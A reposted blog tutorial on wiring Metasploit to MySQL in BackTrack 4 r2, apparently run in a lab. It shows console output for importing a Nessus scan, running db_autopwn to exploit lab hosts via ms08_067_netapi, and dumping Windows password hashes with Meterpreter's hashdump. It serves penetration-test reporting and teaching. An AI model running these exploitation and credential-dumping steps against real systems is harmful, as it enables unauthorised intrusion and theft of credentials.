Metasploit with MYSQL in BackTrack 4 r2

本文涉及的产品
RDS MySQL DuckDB 分析主实例,集群系列 4核8GB
RDS AI 助手,专业版
RDS MySQL DuckDB 分析主实例,基础系列 4核8GB
简介:

Until the release of BackTrack 4 r2, it was possible to get Metasploit working with MYSQL but it was not an altogether seamless experience. Now, however, Metasploit and MYSQL work together “out of the box” so we thought it would be great to highlight the integration. With the Metasploit team moving away from sqlite3, it is vital to be able to make use of a properly threaded database. There have also been quite a number of additional database commands added to Metasploit and documentation tends to be rather sparse online when it comes to the less “glamorous” side of database management.

 
root@bt:~# msfconsole
 
=[ metasploit v3.5.1-dev [core:3.5 api:1.0]
+ ----=[635 exploits - 316 auxiliary
+ ----=[215 payloads - 27 encoders - 8 nops
=[svn r11078 updated today (2010.11.19)
 
msf > db_driver
[*]    Active Driver: postgresql
[*]        Available: postgresql, mysql, sqlite3
We then load the mysql driver, start the mysql service and connect to the database. If the database does not already exist, Metasploit will create it for us.
 
msf > db_driver mysql
[*] Using database driver mysql
msf >/etc/init.d/mysql start
[*]exec: /etc/init.d/mysql start
 
Starting MySQL database server: mysqld.
Checking for corrupt, not cleanly closed and upgrade needing tables..
msf > db_connect
[*]    Usage: db_connect @/
[*]       OR: db_connect -y[path/to/database.yml]
[*] Examples:
[*]        db_connect user@metasploit3
[*]        db_connect user:pass@192.168.0.2/metasploit3
[*]        db_connect user:pass@192.168.0.2:1500/metasploit3
msf > db_connect root:toor@127.0.0.1/msf3
In order to have some hosts to use as targets and to show the information we can add to the database, we import a previously run Nessus scan using the db_import command. Metasploit will automatically detect the filetype and import it for us.
 
msf > db_import /root/nessus_report_EDB.nessus
[*] Importing 'Nessus XML (v2)' data
[*] Importing host 192.168.69.50
[*] Importing host 192.168.69.199
[*] Importing host 192.168.69.175
[*] Importing host 192.168.69.173
[*] Importing host 192.168.69.171
[*] Importing host 192.168.69.146
[*] Importing host 192.168.69.143
[*] Importing host 192.168.69.142
[*] Importing host 192.168.69.141
[*] Importing host 192.168.69.140
[*] Importing host 192.168.69.130
[*] Importing host 192.168.69.110
[*] Importing host 192.168.69.105
[*] Importing host 192.168.69.100
[*] Successfully imported /root/nessus_report_EDB.nessus
After the successful import, our database should be populated with a number of hosts. Running db_hosts will query the database and allow us to customize the output.
 
msf > db_hosts -h
Usage: db_hosts [-h|--help][-u|--up][-a ][-c
][-o output-file ]
 
-a   Search for a list of addresses
-c
Only show the given columns
-h,--help         Show this help information
-u,--up           Only show hosts which are up
-o          Send output to a filein csv format
 
Available columns: address, address6, arch, comm, comments, created_at, info, mac, name, os_flavor, os_lang, os_name, os_sp, purpose, state, updated_at
 
msf > db_hosts -c address,mac
 
Hosts
=====
 
address         mac
-------         ---
192.168.69.100  00:0C:29:DE:1A:00
192.168.69.105  00:0C:29:9A:FC:E0
192.168.69.110  00:0C:29:69:9C:44
192.168.69.130  00:0C:29:6E:26:BB
192.168.69.140
192.168.69.141  00:0C:29:F3:40:70
192.168.69.142  00:0C:29:57:63:E2
192.168.69.143  00:0C:29:32:29:79
192.168.69.146
192.168.69.171  00:0C:29:EC:23:47
192.168.69.173  00:0C:29:45:7D:33
192.168.69.175  00:0C:29:BB:38:53
192.168.69.199  00:0C:29:58:09:DA
192.168.69.50
Far more interesting than IP and MAC addresses are what services are running on our target systems which is what db_services will show us.
 
msf > db_services -h
 
Usage: db_services [-h|--help][-u|--up][-a ][-r
][-p
][-n ]
-a   Search for a list of addresses
-c
Only show the given columns
-h,--help         Show this help information
-n   Search for a list of service names
-p
Search for a list of ports
-r
Only show [tcp|udp] services
-u,--up           Only show services which are up
 
Available columns: created_at, info, name, port, proto, state, updated_at
 
msf > db_services -c name,port,proto
 
Services
========
 
name            port   proto  Host            Workspace
----            ----   -----  ----            ---------
192.168.69.100  123    udp    192.168.69.100  default
192.168.69.100  135    tcp    192.168.69.100  default
192.168.69.100  137    udp    192.168.69.100  default
192.168.69.100  139    tcp    192.168.69.100  default
192.168.69.100  445    tcp    192.168.69.100  default
192.168.69.100  3389   tcp    192.168.69.100  default
192.168.69.105  123    udp    192.168.69.105  default
...snip...
Most interesting of all is the list of vulnerabilities that are mapped to our specific targets as found in the vulnerability scan. The db_vulns command will list the vulnerabilities along with their corresponding reference numbers, if applicable.
 
msf > db_vulns
[*] Time: Sat Nov 2020:21:37 UTC 2010 Vuln: host=192.168.69.50 name=NSS- refs=
[*] Time: Sat Nov 2020:21:39 UTC 2010 Vuln: host=192.168.69.50 port=445proto=tcp name=NSS-26920refs=CVE-1999-0519,CVE-1999-0520,CVE-2002-1117,BID-494,OSVDB-299
[*] Time: Sat Nov 2020:21:39 UTC 2010 Vuln: host=192.168.69.50 port=445proto=tcp name=NSS-26919refs=CVE-1999-0505
...snip...
For the sake of brevity, we will just let db_autopwn exploit the low-hanging fruit for us and only run exploits with at least a “good” rating.
 
msf > db_autopwn -h
[*] Usage: db_autopwn [options]
-h          Display this help text
-t          Show all matching exploit modules
-x          Select modules based on vulnerability references
-p          Select modules based on open ports
-e          Launch exploits against all matched targets
-r          Use a reverse connect shell
-b          Use a bind shell on a random port (default)
-q          Disable exploit module output
-R  [rank]  Only run modules with a minimal rank
-I  [range] Only exploit hosts inside this range
-X  [range] Always exclude hosts inside this range
-PI[range] Only exploit hosts with these ports open
-PX[range] Always exclude hosts with these ports open
-m  [regex] Only run modules whose name matches the regex
-T  [secs]  Maximum runtime for any exploit in seconds
 
msf > db_autopwn -x-e-R good
[*](1/30[0 sessions]): Launching exploit/windows/smb/ms08_067_netapi against 192.168.69.175:139...
[*](2/30[0 sessions]): Launching exploit/windows/smb/ms05_039_pnp against 192.168.69.175:139...
...snip...
[*] Meterpreter session 1 opened (192.168.69.140:54342 -> 192.168.69.105:34160) at Sat Nov 2015:45:24-05002010
[*] Meterpreter session 2 opened (192.168.69.140:53895 -> 192.168.69.100:30423) at Sat Nov 2015:45:24-05002010
[*](30/30[2 sessions]): Waiting on 2 launched modules to finish execution...
[*](30/30[2 sessions]): Waiting on 0 launched modules to finish execution...
In a brief amount of time, Metasploit has delivered 2 Meterpreter sessions to us.
 
msf > sessions -l
 
Active sessions
===============
 
Id  Type                   Information                            Connection
--  ----                   -----------                            ----------
1   meterpreter x86/win32                                         192.168.69.140:54342 -> 192.168.69.105:34160
2   meterpreter x86/win32  NT AUTHORITY\SYSTEM @ V-XPSP2-TEMPLAT  192.168.69.140:53895 -> 192.168.69.100:30423
Running db_exploited now will list not only the hosts that were exploited but also the port and exploit that was successful against them.
 
msf > db_exploited
[*] Time: Sat Nov 2020:45:24 UTC 2010 Host Info: host=192.168.69.105 port=445proto=tcp sname=192.168.69.105 exploit=exploit/windows/smb/ms08_067_netapi
[*] Time: Sat Nov 2020:45:24 UTC 2010 Host Info: host=192.168.69.100 port=445proto=tcp sname=192.168.69.100 exploit=exploit/windows/smb/ms08_067_netapi
[*] Found 2 exploited hosts.
Post exploitation is critical and you can frequently make use of credentials gathered to penetrate deeper into a target network. Metasploit has the db_add_cred command that allows you to insert credentials into the database as you come across them during your engagement.
 
msf > sessions -i1
[*] Starting interaction with 1...
 
meterpreter > hashdump
Administrator:500:7bf4f254b222bb24aad3b435b51404ee:2892d26cdf84d7a70e2eb3b9f05c425e:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:616bd5bd6c74fb1e2207c34e6ce1c14f:fc631be480c73a749c15e311b8b877fd:::
lab:1003:7bf4f254b222bb24aad3b435b51404ee:2892d26cdf84d7a70e2eb3b9f05c425e:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:adc54aedfc47352ef9e20da3dd86ca63:::
meterpreter >
Background session 1? [y/N]
msf > db_add_cred 192.168.69.105 445 Administrator Administrator:500:7bf4f254b222bb24aad3b435b51404ee:2892d26cdf84d7a70e2eb3b9f05c425e:::
[*] Time: Sat Nov 2020:54:36 UTC 2010 Credential: host=192.168.69.105 port=445proto=tcp sname=192.168.69.105 type=password user=Administrator pass=Administrator:500:7bf4f254b222bb24aad3b435b51404ee:2892d26cdf84d7a70e2eb3b9f05c425e::: active=true
msf > db_creds
[*] Time: Sat Nov 2020:54:36 UTC 2010 Credential: host=192.168.69.105 port=445proto=tcp sname=192.168.69.105 type=password user=Administrator pass=Administrator:500:7bf4f254b222bb24aad3b435b51404ee:2892d26cdf84d7a70e2eb3b9f05c425e::: active=true
[*] Found 1 credential.
msf >
All of these database features are very powerful and exciting but just as exciting is that your entire session is now available with MYSQL.
 
root@bt:~# mysql -u root -p
Enter password:
Welcome to the MySQL monitor.  Commands endwith;or \g.
Your MySQL connection id is56
Server version: 5.0.67-0ubuntu6 (Ubuntu)
 
Type'help;'or'\h' for help. Type'\c'to clear the buffer.
 
mysql>use msf3;
Reading table information for completion of tableandcolumn names
You can turn off this feature to get a quicker startup with-A
 
Database changed
mysql>showtables;
+-----------------------------+
| Tables_in_msf3              |
+-----------------------------+
| attachments                 |
| attachments_email_templates |
| campaigns                   |
| clients                     |
| creds                       |
| email_addresses             |
| email_templates             |
| events                      |
| exploited_hosts             |
| hosts                       |
| imported_creds              |
| loots                       |
| notes                       |
| project_members             |
| refs                        |
| report_templates            |
| reports                     |
| schema_migrations           |
| services                    |
| tasks                       |
| users                       |
| vulns                       |
| vulns_refs                  |
| web_forms                   |
| web_pages                   |
| web_sites                   |
| web_templates               |
| web_vulns                   |
| wmap_requests               |
| wmap_targets                |
| workspaces                  |
+-----------------------------+
31 rows inset(0.00 sec)
We can now perform queries to access all of the information gathered on exploited hosts, gathered credentials, and much more.
 
mysql>select*from exploited_hosts;
+----+---------+------------+--------------+-------------------------------------+--------------------------------------+---------------------+---------------------+
| id | host_id | service_id | session_uuid | name                                | payload                              | created_at          | updated_at          |
+----+---------+------------+--------------+-------------------------------------+--------------------------------------+---------------------+---------------------+
|  1|      14|        131| oc5vd2zl     | exploit/windows/smb/ms08_067_netapi | payload/windows/meterpreter/bind_tcp |2010-11-2020:45:24|2010-11-2020:45:24|
|  2|      15|        137| qwtwtqfj     | exploit/windows/smb/ms08_067_netapi | payload/windows/meterpreter/bind_tcp |2010-11-2020:45:24|2010-11-2020:45:24|
+----+---------+------------+--------------+-------------------------------------+--------------------------------------+---------------------+---------------------+
2 rows inset(0.00 sec)
 
mysql>select*from creds;
+----+------------+---------------------+---------------------+---------------+----------------------------------------------------------------------------------------+--------+-------+----------+-----------+-------------+
| id | service_id | created_at          | updated_at          |user          | pass                                                                                   | active | proof | ptype    | source_id | source_type |
+----+------------+---------------------+---------------------+---------------+----------------------------------------------------------------------------------------+--------+-------+----------+-----------+-------------+
|  1|        131|2010-11-2020:54:36|2010-11-2020:54:36| Administrator | Administrator:500:7bf4f254b222bb24aad3b435b51404ee:2892d26cdf84d7a70e2eb3b9f05c425e::: |      1|NULL  |password|      NULL|NULL        |
+----+------------+---------------------+---------------------+---------------+----------------------------------------------------------------------------------------+--------+-------+----------+-----------+-------------+
1 rows inset(0.00 sec)
 
mysql>
At first glance, database integration is not that compelling but it opens the door for the community to develop customized reporting apps using such a widely used database like MYSQL easing the post-penetration test reporting burden.
 
For further details on setting up and using the various databases in Metasploit, check out the Configuring Databases and Using the MSF Database sections in Metasploit Unleashed.


本文转自enables 51CTO博客,原文链接:http://blog.51cto.com/niuzu/558059,如需转载请自行联系原作者

相关实践学习
如何快速连接云数据库RDS MySQL
本场景介绍如何通过阿里云数据管理服务DMS快速连接云数据库RDS MySQL,然后进行数据表的CRUD操作。
MySQL数据库入门学习
本课程通过最流行的开源数据库MySQL带你了解数据库的世界。   相关的阿里云产品:云数据库RDS MySQL 版 阿里云关系型数据库RDS(Relational Database Service)是一种稳定可靠、可弹性伸缩的在线数据库服务,提供容灾、备份、恢复、迁移等方面的全套解决方案,彻底解决数据库运维的烦恼。 了解产品详情: https://www.aliyun.com/product/rds/mysql 
相关文章
|
搜索推荐 数据挖掘 C++
数据分析方法-对比分析和用户画像
数据分析方法-对比分析和用户画像
448 1
数据分析方法-对比分析和用户画像
|
存储 人工智能 缓存
DiffSplat:输入文本或图像,2秒内生成3D建模!北大联合字节开源3D建模生成框架
DiffSplat 是由北京大学和字节跳动联合推出的一个高效 3D 生成框架,能够在 1-2 秒内从文本提示或单视图图像生成高质量的 3D 高斯点阵,并确保多视图下的一致性。
695 19
DiffSplat:输入文本或图像,2秒内生成3D建模!北大联合字节开源3D建模生成框架
|
XML API 开发者
使用 API 接口获取京东商品详情全解析
京东作为头部电商平台,其商品数据极具价值。开发者可通过API接口获取商品详情、订单数据等信息,满足各种业务需求。使用前需注册账号并创建应用获取App Key和App Secret。调用流程包括认证授权、构建请求、发送请求及处理响应。注意事项包括遵守平台规则、控制调用频率和确保数据时效性。通过这些步骤,可为电商数据分析提供有力支持。
|
安全 物联网 网络安全
智能设备的安全隐患:物联网(IoT)安全指南
智能设备的安全隐患:物联网(IoT)安全指南
1420 12
|
安全 Android开发 iOS开发
Android vs iOS:探索移动操作系统的设计与功能差异###
【10月更文挑战第20天】 本文深入分析了Android和iOS两个主流移动操作系统在设计哲学、用户体验、技术架构等方面的显著差异。通过对比,揭示了这两种系统各自的独特优势与局限性,并探讨了它们如何塑造了我们的数字生活方式。无论你是开发者还是普通用户,理解这些差异都有助于更好地选择和使用你的移动设备。 ###
597 3
|
存储 人工智能 Serverless
妙用AI助理帮您定方案、找细节
当您希望在繁琐的文档中迷失方向时,AI助理能为您提供清晰指引,助您轻松实现加速配置与获取核心代码参数,显著简化开发流程。无论是方案获取还是寻找细节,只需向AI助理提问,即可获得详细步骤与示例代码,大幅提升工作效率。点击右下角的AI助理,即刻体验便捷服务。
509 1
|
机器学习/深度学习 自然语言处理 算法
使用自然语言处理技术提升文本分类准确率
在当今信息爆炸的时代,准确的文本分类对于信息管理至关重要。本文探讨了如何利用先进的自然语言处理技术,结合深度学习模型,提升文本分类的准确率和效率。通过详细的实验分析和案例研究,展示了不同方法在不同场景下的应用效果和优劣比较,为技术人员提供了实用的指导和启发。
449 27
|
存储 SQL 测试技术
基于SpringBoot+Vue的个人云盘管理系统的设计与实现(源码+部署说明+演示视频+源码介绍)(2)
基于SpringBoot+Vue的个人云盘管理系统的设计与实现(源码+部署说明+演示视频+源码介绍)
437 1
|
机器学习/深度学习 人工智能 测试技术
探索自动化测试的前沿技术与实践
自动化测试作为提升软件开发效率和质量的关键工具,正经历着前所未有的变革。随着人工智能、机器学习、云计算等技术的融合与创新,自动化测试不断突破传统界限,展现出更智能、更高效、更灵活的发展趋势。本文将深入探讨自动化测试领域的最新技术进展,分析其在现代软件开发中的应用,并讨论如何有效整合这些技术以最大化测试效率和准确性。
怎样获取当当网dangdang商品详情 API 返回值说明?
当当网(dangdang.com)的API(Application Programming Interface)返回值详细说明可能会随着API的更新和迭代而有所变化。通常,一个商品详情API的返回值会包含有关商品的详细信息,如商品ID、名称、价格、描述、图片链接、评价、分类等。

热门文章

最新文章